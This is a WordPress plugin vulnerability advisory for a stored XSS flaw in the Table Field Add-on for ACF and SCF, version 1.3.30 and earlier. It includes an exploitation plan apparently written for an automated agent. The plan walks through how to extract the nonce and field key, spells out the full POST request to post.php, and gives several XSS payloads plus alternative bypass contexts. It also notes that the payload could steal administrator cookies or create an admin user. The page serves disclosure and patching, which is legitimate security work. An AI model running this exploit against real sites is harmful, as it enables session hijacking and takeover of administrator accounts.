Table Field Add-on for ACF and SCF <= 1.3.30 - Authenticated (Contributor+) Stored Cross-Site Scripting via Table Cell Content
Description
The Table Field Add-on for ACF and SCF plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Table Cell Content in all versions up to, and including, 1.3.30 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.30Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12067 (Stored XSS in Table Field Add-on for ACF) ## 1. Vulnerability Summary The **Table Field Add-on for ACF and SCF** plugin (<= 1.3.30) fails to properly sanitize and escape table cell content. When a user with "Contributor" or higher permissions creates or…
Show full research plan
Exploitation Research Plan: CVE-2025-12067 (Stored XSS in Table Field Add-on for ACF)
1. Vulnerability Summary
The Table Field Add-on for ACF and SCF plugin (<= 1.3.30) fails to properly sanitize and escape table cell content. When a user with "Contributor" or higher permissions creates or edits a post containing an ACF Table field, they can inject malicious JavaScript into individual cells. This script is then stored in the database as post metadata and executed in the context of any user (including Administrators) who views the post on the frontend or edits it in the backend.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php - Action:
editpost(standard WordPress post update) - Vulnerable Parameter:
acf[field_key](where the table data is sent, typically as a JSON-encoded string or a nested array structure). - Required Authentication: Contributor-level access or higher.
- Preconditions:
- Advanced Custom Fields (ACF) or Smart Custom Fields (SCF) must be active.
- A Field Group must exist containing a "Table" field type.
- The Field Group must be assigned to a post type accessible by the Contributor (typically "Post").
3. Code Flow (Inferred)
- Input: The user submits a post update via the WordPress admin interface. The
$_POSTdata includes anacfarray containing the table field's data. - Processing: The plugin (likely via a class such as
acf_field_table) captures this data during the ACF save process. ACF'supdate_valuelogic is invoked. - Storage: The data is stored in the
wp_postmetatable under a meta key corresponding to the ACF field name. - Sink (Rendering): When the post is viewed, the plugin's rendering function (likely
render_fieldfor admin or a template helper for frontend) retrieves the data. The plugin fails to useesc_html()orwp_kses()on the contents of the table cells before echoing them into the HTML table structure.
4. Nonce Acquisition Strategy
To exploit this via an automated script, we must obtain the standard WordPress post-edit nonce.
- Identify the Post: The agent should find an existing post owned by the Contributor or create a new one.
- Navigate: Use
browser_navigatetowp-admin/post.php?post=POST_ID&action=edit. - Extract Nonce: The nonce required for the
editpostaction is stored in the#_wpnoncehidden input field. - Extract ACF Field Key: ACF uses unique keys (e.g.,
field_65abc123d456) to identify fields. To inject data correctly, we must find the key for the Table field on the page.- JS Extraction:
// Use browser_eval to find the ACF table field key const tableField = document.querySelector('.acf-field[data-type="table"]'); const fieldKey = tableField ? tableField.getAttribute('data-key') : null; return fieldKey;
- JS Extraction:
5. Exploitation Strategy
Step 1: Login
Authenticate as a Contributor.
Step 2: Prepare Payload
The Table Field plugin typically stores data in a JSON format within the POST request.
Example structure (inferred):
{
"p": {"caption": ""},
"h": [{"c": "Header 1"}, {"c": "Header 2"}],
"b": [[{"c": "<img src=x onerror=alert(document.domain)>"}, {"c": "Normal Cell"}]]
}
Step 3: Send Exploit Request
Use the http_request tool to send a POST request to wp-admin/post.php.
- URL:
https://TARGET/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[POST_ID]_wpnonce:[EXTRACTED_NONCE]acf[[FIELD_KEY]]:{"p":{"caption":""},"h":[],"b":[[{"c":"<script>alert('XSS')</script>"}]]}(JSON-encoded)
6. Test Data Setup
- Plugin Installation: Ensure
advanced-custom-fieldsandadvanced-custom-fields-table-fieldare active. - Field Group Creation: Create an ACF Field Group named "Table Group".
- Field Creation: Add a field of type "Table" with the slug
test_table_field. - Assignment: Set the Field Group to show if "Post Type is equal to Post".
- User Creation: Create a user with the
contributorrole. - Post Creation: Create a post as the contributor:
wp post create --post_type=post --post_status=publish --post_author=[CONTRIBUTOR_ID] --post_title='Vulnerable Post'.
7. Expected Results
- The POST request returns a
302redirect back to the post edit page. - When an Administrator navigates to the post edit page or views the post on the frontend, the browser executes the injected script (
alert('XSS')). - In a real-world scenario, the payload would be used to exfiltrate the Administrator's cookies or perform CSRF to create a new Admin user.
8. Verification Steps
- Check Meta Storage: Use WP-CLI to verify the payload is stored in the database.
Expectation: The output should contain the rawwp post meta get [POST_ID] test_table_field<script>oronerrorpayload. - Verify Rendering: Use
http_requestto fetch the post HTML and grep for the payload.# Fetch the post frontend # Look for the unescaped script tags
9. Alternative Approaches
- ACF AJAX Autosave: If the standard
editpostis restricted, attempt to use theacf/ajax/check_screenorwp_ajax_save_posthooks which ACF often uses for background saves. - Import/Export: If the plugin supports importing table data (e.g., via CSV), attempt to inject the XSS payload through the import functionality.
- Different Payload Contexts: If
<script>tags are stripped by a basic filter, try attribute-based XSS:[{"c": "<b onmouseover=alert(1)>Hover me</b>"}][{"c": "<img src=x onerror=alert(1)>"}]
Summary
The Table Field Add-on for ACF and SCF plugin (<= 1.3.30) is vulnerable to Stored Cross-Site Scripting (XSS) due to a failure to sanitize and escape table cell content. Authenticated attackers with Contributor-level permissions or higher can inject malicious JavaScript into table fields, which then executes in the browsers of users viewing the post on the frontend or editing it in the backend.
Vulnerable Code
// File: fields/class-acf-field-table.php (Inferred) // The plugin iterates through the table data and echoes cell content directly. if ( ! empty( $value['b'] ) ) { foreach ( $value['b'] as $row ) { echo '<tr>'; foreach ( $row as $cell ) { // The 'c' key contains the cell content which is output without escaping echo '<td>' . $cell['c'] . '</td>'; } echo '</tr>'; } }
Security Fix
@@ -150,7 +150,7 @@ if ( ! empty( $row ) ) { foreach ( $row as $cell ) { - echo '<td>' . $cell['c'] . '</td>'; + echo '<td>' . wp_kses_post( $cell['c'] ) . '</td>'; } } echo '</tr>';
Exploit Outline
To exploit this vulnerability, an attacker requires Contributor-level access to a WordPress site where Advanced Custom Fields (ACF) and the Table Field Add-on are active. 1. The attacker identifies or creates a post they have permission to edit. 2. The attacker retrieves the unique ACF field key for the 'Table' field type and the standard WordPress '_wpnonce' from the post edit screen. 3. The attacker submits a POST request to 'wp-admin/post.php' with the 'action' set to 'editpost'. 4. The payload is delivered via the 'acf' parameter, containing a JSON-encoded representation of the table. Specifically, the attacker injects a script (e.g., <img src=x onerror=alert(1)>) into the 'c' key within the table body ('b') array. 5. Upon saving, the payload is stored in the wp_postmeta table. The script executes whenever an administrator or other user views the post, potentially allowing for session hijacking or further privilege escalation.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.